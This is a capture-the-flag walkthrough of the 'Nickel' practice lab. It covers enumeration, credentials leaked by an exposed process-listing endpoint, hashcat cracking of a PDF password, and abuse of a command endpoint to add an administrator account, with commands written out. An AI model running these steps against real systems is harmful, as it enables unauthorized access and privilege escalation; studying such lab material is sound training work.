> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/get-to-work/nickel.md).
# Nickel
### Enumeration
```
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
| 256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_ 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-favicon: Unknown favicon MD5: 76C5844B4ABE20F72AA23CBE15B2494E
| http-methods:
|_ Supported Methods: GET POST
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
```
```
$ curl -X POST -d "1" http://192.168.94.99:33333/list-running-procs
commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p
"[REDACTED-BASE64ENCODED]" --server nickel-dev --protocol ssh
```
### Initial Access
Connect with credentials to SSH.
### PrivEsc
There is a password protected PDF: Infrastructure.pdf
```
$ /usr/share/john/pdf2john.pl Infrastructure.pdf > hash.txt
$ hash.txt
Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*[REDACTED]
```
10500 - PDF 1.4 - 1.6 (Acrobat 5 - 8)
```
$ hashcat -m 10500 -w 4 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```
Open the PDF with the password.
> Infrastructure Notes
>
> Temporary Command endpoint: http\://\[REDACTED]/?
```
PS C:\> $wc = New-Object Net.WebClient
PS C:\> $wc.DownloadString("http://[REDACTED]/?whoami")
dev-api started at 2020-10-20T10:38:24
nt authority\system
PS C:\USers\Administrator> $wc.DownloadString("http://[REDACTED]/?net user cel1s0 pass123 /add")
PS C:\USers\Administrator> $wc.DownloadString("http://[REDACTED]/?net localgroup administrators cel1s0 /add")
```
```
$ xfreerdp /u:cel1s0 /p:pass123 /v:192.168.94.99:3389
```
---
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